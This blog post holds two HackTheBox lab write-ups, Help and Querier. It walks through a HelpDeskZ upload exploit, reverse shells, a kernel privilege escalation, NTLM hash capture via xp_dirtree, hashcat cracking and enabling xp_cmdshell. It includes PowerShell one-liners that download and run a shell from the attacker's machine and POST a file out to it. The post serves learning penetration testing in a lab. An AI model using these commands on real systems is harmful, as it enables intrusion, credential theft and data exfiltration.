This post is a combination of two write-ups that were previously housed elsewhere. The original post here on my blog was simply a notice with links to the other site. As much as I'd like to split them into two separate posts, I'd rather ensure that the original post date stays intact. To that end, here are my write-ups for the HackTheBox boxes Help and Querier.
Help
Welcome to another HackTheBox write-up. This week’s write-up is special; Help was the first box I ever attempted, and I did it all on my own before I started doing HackTheBox with 0x00sec. Emotional moments aside, let’s get started.
You know the drill. We start with Nmap.
nmap -sC -sV -oA Help 10.10.10.121
Explanations:
-sC - Script scanning using the default script list.
-sV - Attempts version detection of protocols/applications during scan.
-oA - Output files in all formats
Help - The name of the files for -oA output.
10.10.10.121 - The target machine’s IP address.
This was my first box, so I ended up in a rabbit hole on port 3000 (which isn’t actually a rabbit hole, as it turns out, as there are multiple paths to owning this box), then tried some silliness with OpenSSH exploits to enumerate users on SSH. Like I said, it was my first box.
Eventually, I got smart and ran dirb (I did not know about gobuster at the time).
dirb http://help.htb/ /usr/share/wordlists/dirb/small.txt -o Help.dirb
Explanation:
hxxp://help.htb/ - Specifies the URL to run dirb against.
/usr/share/wordlists/dirb/small.txt - Specifies the wordlist to use for brute-forcing directories. I find that small.txt is a good, default starting point for me. If needed, I can work my way up to bigger wordlists, but it hasn’t been necessary for me up to this point.
-o - Specifies the ouput file name.
The directory I became interested in was /support. I browsed to that page:
I saw some input fields, so I started running a bunch of tools I had no business running (such as sqlmap). Eventually, I got wise and turned to searchsploit:
There is an arbitrary file upload exploit available.
I had never exploited anything up to this point, if I’m honest, so I had no clue what was going on. I got the general idea, having watched some IppSec videos. I tried using the exploit, but all my attempts to upload my chosen PHP shell as an attachment to the ticket failed.
I tried renaming the file using all the tricks (shell.php.jpg, shell.php1, using null bytes, etc.) I tried editing the magic number bytes of the file to make it look like a JPG, I tried using Burp to intercept the request and convince the page that I was uploading a JPG file, but nothing worked. After a bit more research, I realized how the exploit works.
Quite simply, despite the fact that the page tells us that the attachment type was not allowed, it still writes the file to the disk. However, it “randomly” renames it so we can’t just execute it after the fact. The problem is that the renaming of the file is not as random as the developers would have liked, so we can predict it and call our file via it’s new name and path. That’s where the exploit itself comes in. Let’s review the source code snippet of the HelpDeskZ application inside the script so we can understand what’s happening. We’ll then review the script itself.
Here’s the important bit from the source:
$filename = md5($_FILES['attachment']['name'].time())...$ext;
That may be enough for you to understand the problem. Either way, let’s look at the exploit to see how we’re going to weaponize our newfound knowledge.
print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
This is just the usage portion of the script, but it’s important to note the inputs to understand what the script will do. The base URL is easy, as the script needs to know where the file was uploaded so it can print the correct full path when finished. The filename is interesting, though. Since the file is renamed after upload, why would knowing the original filename be important? We’ll see shortly.
NOTE: The comments in the script included in Kali are not exactly accurate. The full path required to leverage this exploit is hxxp://10.10.10.121/support/uploads/tickets. How did I figure this out? I reviewed the source of HelpDeskZ on GitHub
NOTE (continued): If you combine this line with our dirb output, you’ll work out that the path where attachments are finally written is hxxp://10.10.10.121/support/uploads/tickets.
Let’s review the exploit:
currentTime = int(time.time())
The comment here should be obvious; we’re pulling the current time from our machine. Even more interesting.
NOTE: The version of the exploit included in Kali pulls the time from your attacking machine, as noted above. This means the time on your local machine must match the server, or the script won’t work. You can verify it with the below command, or use the version of the exploit on Exploit-DB, which gets the time from the server itself. Be forewarned, though, that the version of the script on Exploit-DB may not run in it’s raw form for you. You could, of course, combine the two scripts. Just a thought.
curl -I http://help.htb
Moving deeper into the script:
for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()
url = helpdeskzBaseUrl+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200:
print "found!"
print url
sys.exit(0)
Here’s the rundown. We’re taking the name of the file, plus the current time, and storing it as a string (we have some offset of the current time less our current x value, which is any number between 0-300; we need this to deal with delays and time differences; essentially, we’re looping through our calculation 300 times to get 300 different values.) We then take the md5 value of that string. This is our file name. The script will try the full URL with all 300 filename variants and report which one returns an HTTP response code of 200. This is our uploaded shell’s URL path.
NOTE: Because time is such a sensitive factor in this exploit, it is imperative that you have your exploit primed and ready to launch as soon as you upload the file. You’ve got a small window to work with if your 300 requests are to fall within the same time frame as your file upload; of course, you can also edit the exploit script yourself to make it more forgiving, but that means more requests and a longer run time. Pick your battles, as your mileage may vary.
Assuming all went well, you should have the URL of your uploaded shell.
Set up a listener to catch your reverse shell:
nc -lp 2113
Explanation:
-l - Listen mode.
-p 2113 - Specifies the port on which to listen.
Now browse to the URL path of your shell. If done correctly, your listener should now be connected. Grab your user flag and prepare to move on to root.
Considering this was my first box, I am surprised I got to root as quickly as I did. This box predates my knowledge of popular Linux enumeration tools like Linenum and pspy. Instead, I poked around files a bit, then checked the version of Linux installed:
uname -a
Explanation:
-a - Tells uname to print all details.
We see the installed version of Linux. That knowledge in hand, we consult searchsploit yet again and locate CVE-2017-16995, a local privilege escalation exploit.
Once again I allowed my inexperience to waste my time; I went through the whole process of re-abusing the file upload vulnerability to get the .c file for compiling the exploit onto the victim machine. I could’ve done something much simpler, like hosting a python SimpleHTTPServer on my attacking machine. I can’t remember if this didn’t work for me or if I didn’t try it, but when I ran through this box again for this write-up it worked without any issue.
With the .c file successfully transferred to the victim, we can simply run the below command to compile the executable:
make 44298.c
By default, this creates a file called a.out. We then run chmod +x a.out to grant executable permissions to the file. Then, run the file with ./a.out, and you’ll have your root shell!
And that is it for this box. I would like to note that other 0x00sec members have mentioned that they had different paths for both user and root, so please know that these may not be the only paths to success on this box. Perhaps those members might take the time to comment below with their paths; if not, it’s up to you to try harder and find new ways to win.
Thanks for sticking with me through this one. I’ll see you next time!
Querier
We’ve got another Windows box this week: Querier. Let’s attack.
NOTE: Before we start, I should note that there are many ways to achieve some of the things on this box, specifically GUI versus CLI. I always prefer CLI, but that doesn’t mean you have to do the same.
Starting off with our standard Nmap:
nmap -sC -sV -oA Querier 10.10.10.125
Explanations:
-sC - Script scanning using the default script list.
-sV - Attempts version detection of protocols/applications during scan.
-oA - Output files in all formats
Querier - The name of the files for -oA output.
10.10.10.125 - The target machine’s IP address.
Our open ports are 135, 139, 445, and 1433. My heart raced a bit when I saw 1433, which belongs to Microsoft SQL. For one, because that could be a real juicy target in the real world, but secondly because I’ve never exploited it before, and I like new experiences. However, I doubt we’ll be able to get anywhere with it yet, seeing as how we don’t have any credentials.
Instead, I choose to focus on 445, or SMB. I try connecting with smbclient.py (a part of impacket) to see if get lucky with a non-authenticated connection… and I do get lucky!
python smbclient.py querier.htb
We only have access to one share on this server, \Reports, which we can access by running use Reports. Inside \Reports, we find a file named Currency Volume Report.xlsm. Run the get command to download it to your attacking machine. This file contains a VBA macro. There are a few ways we can figure this out, but my experience in working with malware in the past has burned into my skull the instinct to run oletools on any Office documents I find.
python olevba.py "Currency Volume Report.xlsm"
Perfect! We can see a VBA macro inside this document, and olevba prints its contents for our review. We can see from the database connection string that a user ID and password is hard-coded into the macro. This is precisely what we were looking for, so let’s try our newfound credentials to log into the database. But how do we do that?
As with the rest of this box, there many ways you can utilize your shiny new creds to garner a connection to the database. As it turns out, the very same impacket that we used for our SMB connection also has a SQL tool, mssqlclient.py:
python mssqlclient.py -windows-auth reporting:PcwTWTHRwryjc\$c6@querier.htb
A couple of notes here that may become pitfalls for some if they attempt to just start running the command without reading further or thinking about things.
First, the bit that states -windows-auth specifies the type of authentication that we are using for our attempted database connection. There are several ways a SQL server will accept authentication, and you have to pick the right one for the credentials you are using. In our case, we are using windows authentication, which queries Windows directly to verify authentication, as opposed to SQL authentication, which queries the SQL database itself for authentication.
Second, the password we obtained from the macro contains a $ character. If we leave the password as is, the connection will fail, as $ is a special character in python. To successfully pass the correct password as a parameter, we need to escape it, which in python means preceding it with a backslash.
Our connection was successful! Now we can begin exploring the database to see what we might be able to do to get a better foothold. I have extremely limited knowledge of Microsoft SQL, and the experience I do have with MySQL was of no consequence for this attack. In fact, the only Microsoft SQL attack I know from my limited studies is the classic, xp_cmdshell. Sadly, xp_cmdshell is not available for our current user account, but that doesn’t mean we can’t look for other stored procedures we might be able to abuse:
SELECT name FROM master.sys.databases
USE master
SELECT name FROM dbo.sysobjects WHERE name like '%xp%' ORDER BY name
It took me a long, long time to figure out where I was going here, but it finally came down to just testing every single command to get an idea which I could use and which might be useful for abuse. Eventually, I found a promising command, xp_dirtree. This command does as you’d expect; it prints a tree of directories and subdirectories. To understand how we might be able to abuse it, we’re going to need a bit of research and hacker-like thinking. If we do enough of this in the right way, we’ll discover exactly what we need.
exec master.dbo.xp_dirtree '\\10.10.14.41'
Explanations:
exec - Tells SQL to executed a stored procedure.
master.dbo.xp_dirtree - The stored procedure we will be executing.
‘\\10.10.14.41’ - The directory we will be executing xp_dirtree against.
Put that all together, and you’ll understand that we are forcing the victim machine to attempt to read the contents of a Samba/SMB share on my machine. But what’s the point in that? We can’t achieve code execution that way, so we must be after something else.
You’d be correct. In fact, we are after NTLM hashes, which are passed during attempted Samba/SMB connections from Windows systems to authenticate and prove what level of access they deserve. If we capture this hash on our machine, we may be able to do something with it. Let’s set ourselves up for success and get the attack prepped.
We don’t need to set up an actual share on our system. We can use a tool for that! In this case, we’re going to be using Responder:
responder -I tun0
Once this is running, we can execute xp_dirtree!
And... it doesn’t work. This honestly had me baffled for a while. I had no idea why I was capturing something with Responder, but the information being captured looked nothing like NTLMv2 hashes. I spent some time Googling, then came upon a Metasploit module that may be able to help (yes, again, I know that Metasploit is not the best way to do things. I am still learning, so cut me some slack!): auxiliary/admin/mssql/mssql_ntlm_stealer
So, this sounds like exactly what we need. This module will force the execution of the stored procedure we have already confirmed exists, and it should garner us the mssql-svc credentials by passing a hash to Responder. We’ll take a few moments to set up the module’s options, then we’ll restart our Responder listener, and finally kick off the exploit:
use auxiliary/admin/mssql/mssql_ntlm_stealer
set PASSWORD PcwTWTHRwryjc$c6
set RHOSTS querier.htb
set SMBPROXY 10.10.14.41
set USERNAME reporting
set USE_WINDOWS_AUTHENT true
Once the exploit has completed, terminate Responder and check /usr/share/responder/logs/. You should see a file named SMBv2-NTLMv2-SSP-10.10.10.125.txt. I, personally, made a copy of this file named hashes.txt and used vi to remove the last two lines. Now we’ve got a hash file we can use with hashcat to try to recover some passwords.
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -o solvedhashes.txt
Explanations:
-m 5600 - Tells hashcat to use mode 5600, or NetNTLMv2.
hashes.txt - Our input hash file.
/usr/share/wordlists/rockyou.txt - Our wordlist. Hashcat will hash each line in this file according to the selected mode, then compare it to the hashes in our input hash file. If there are any matches, hashcat will let us know.
-o solvedhashes.txt - Tells hashcat to output completed hashes to the specified file.
Once hashcat is finished, check the contents of your output file:
We now have the password for mssql-svc. With it, let’s get reconnected to the database using mssqlclient.py. Once we’re reconnected, let’s see if we can use xp_cmdshell to get code execution directly on the box:
We can’t run it immediately after connecting because it is disabled, but if our new credentials have enough privileges, we may be able to enable it. Let’s try using sp_configure to enable it, like the helpful error message suggested:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE
Explanations:
EXEC sp_configure ‘show advanced options’, 1; - This executes sp_configure to set ‘show advanced options’ to 1, or true. This is required to configure xp_cmdshell, which is an advanced option.
RECONFIGURE - This applies the changes we have made thus far.
EXEC sp_configure ‘xp_cmdshell’, 1; - This executes sp_configure to set ‘xp_cmdshell’ to 1, or true.
RECONFIGURE - This applies the changes we have made thus far.
We can now run xp_cmdshell; it will succeed and return null output.
Now, let’s try to read the user flag to see if we are lucky enough to have credentials with access:
xp_cmdshell "type C:\Users\mssql-svc\Desktop\user.txt"
And there is our user flag! We have code execution on this box through xp_cmdshell, so let’s try using it to get ourselves a better shell on the box.
If you’ve read any of my other write-ups, or if you just know me personally, you’ll know that I love PowerShell. I also tend to rely on the same Windows reverse shell for every box, so let’s get everything set up as per my usual tactics.
First, set up an HTTP server in the directory hosting your shell executable:
python -m SimpleHTTPServer 9009
Explanations:
-m - Run a module.
SimpleHTTPServer - Launch a simple HTTP server, as the name implies.
9009 - The port on which the server will listen for incoming connections.
Let’s also set up a listener for our reverse shell at this time:
nc -lp 2113
Explanations:
-l - Listen mode.
-p 2113 - Specifies the port on which to listen.
Now that our shell is hosted and our listener is waiting for our reverse shell, we’ll use xp_cmdshell to download the shell and execute it all in one fell swoop:
xp_cmdshell "C:\Users\mssql-svc\Desktop\shell.exe 10.10.14.41 2113"; xp_cmdshell "powershell -command ""((new-object System.Net.WebClient).DownloadFile(''http://10.10.14.41:9009/shell.exe'', ''C:\Users\mssql-svc\Desktop\shell.exe''))"""
Explanations:
-command - Specifies that everything in the following () will be executed as a command.
new-object System.Net.WebClient - Creates an object of the type System.Net.WebClient.
.DownloadFile - Calls the DownloadFile file function from System.Net.WebClient with the source and destination as parameters.
NOTE: It’s important to note that SQL will run our commands in the inverse direction of what you might expect. It will read the last command after the ; first, then read the next command to the left of the ;. In this case, that means that our file will be downloaded and saved to the box with one run of xp_cmdshell before being executed with the second xp_cmdshell, even if the execution appears to be first in line when reading the command from left to right.
And we have our reverse shell. Next, we must enumerate. Surprisingly, despite my familiarly with Windows over Linux in a day-to-day usecase scenario, I have now done enough HackTheBox to become more confident at starting out the enumeration process on Linux. Windows, on the other hand, not so much. Luckily, the wonderful people on the 0x00sec HackTheBox team turned me onto a few great tools for Windows enumeration... and using PowerShell, no less! The one that did the trick for me in this case was PowerUp (now a part of PowerSploit).
I downloaded PowerSploit.ps1 to my attacking machine and re-used the still-running python HTTP server to host it. I used the same PowerShell command that I used to download the shell to the victim, only this time I called it directly from within my reverse shell instead of using xp_cmdshell. Once the file is successfully saved to the victim machine, we will run it and send the results to a .txt file. You don’t have to do this, but I want to do this so I can get the information back to my attacking box for later review. I realize there are better ways of doing this, but I wanted to share something interesting I learned that may come in handy in similar situations. Anyway, all that disclaimer aside, let’s run the tool:
powershell -command "& { . .\PowerUp.ps1; Invoke-PrivescAudit }" > powerup_audit.txt
Explanations:
-command - Specifies that everything in the following “” will be executed as a command. In this case, we are running multiple commands, so we prepend the brackets with an &.
Invoke-PrivescAudit - The specific function of PowerUp.ps1 that we are interested in running.
Once the tool has finished, we can review the contents. However, let’s talk about that little discovery I mentioned earlier. Specifically, it has to do with exfiltration via PowerShell.
Credit for this bit goes to the amazing Azeria Fox, whom I have been following on Twitter for a while but whose data exfiltration page I stumbled upon by accident during a Google search. We’re going to adapt some parts here to craft our own exfiltration one-liner. First, set up another listener, and pipe the output to a file:
nc -lp 1408 > exfil.txt
Now that our listener is running, here is our exfiltration one-liner:
powershell Invoke-WebRequest -Uri http://10.10.14.41:1408 -Method POST -Body (Get-Content powerup_audit.txt)
Explanations:
Invoke-WebResuest - This cmdlet allows us to make web requests. It is the PowerShell equivalent of curl.
-Uri - The target URL that will receive our web request.
-Method POST - Specifies the type of web request we are making; in this case, a POST request.
-Body - The content of our webrequest.
Get-Content - Reads and returns the contents of the specified file.
Both PowerShell and nc will appear to hang at this point. This is because nc has already received our request and is simply waiting to be terminated to finish writing it to the output file. However, because nc is not a full-featured web server, it can’t respond to the requesting machine, which causes the requesting machine to sit waiting for a response that will never come. Instead, we can just kill nc, which will kill both programs. On our attacking machine, we can now read the contents of exfil.txt (the output will look nasty, although there are ways to fix this that are wandering too far outside the scope of this already unnecessary tangent):
Let’s look at the view from the victim machine so we can break down what we’ve uncovered a bit easier:
I’m sure you see that very obvious password. That’s the key to our path to root, but where did it come from? Well, specifically, it came from C:\Windows\Panther\Unattend.xml. This file is created during unattended installs, and it often contains either plaintext or Base64-encoded administrator passwords.
Now we just need to leverage our credentials. Turns out, we’ve already used at least one way of getting our hands on the root flag: smbclient.py. Use it the same way we did at the beginning of this box, but connect with the administrator credentials instead:
python smbclient.py administrator:MyUnclesAreMarioAndLuigi\!\!1\!@querier.htb
Once we’re connected, run use C$ to connect to the administrative share on the C:/ drive. From there, cd to C:/Users/administrator/Desktop and run get root.txt. On your local machine, read the contents of the flag file, and you’ve owned this box.
Thanks for hanging in there throughout this write-up. There was a lot to break down; I tried to strike a balance between efficiency and imparting useful knowledge. I can only hope it was a success.
No comments:
Post a Comment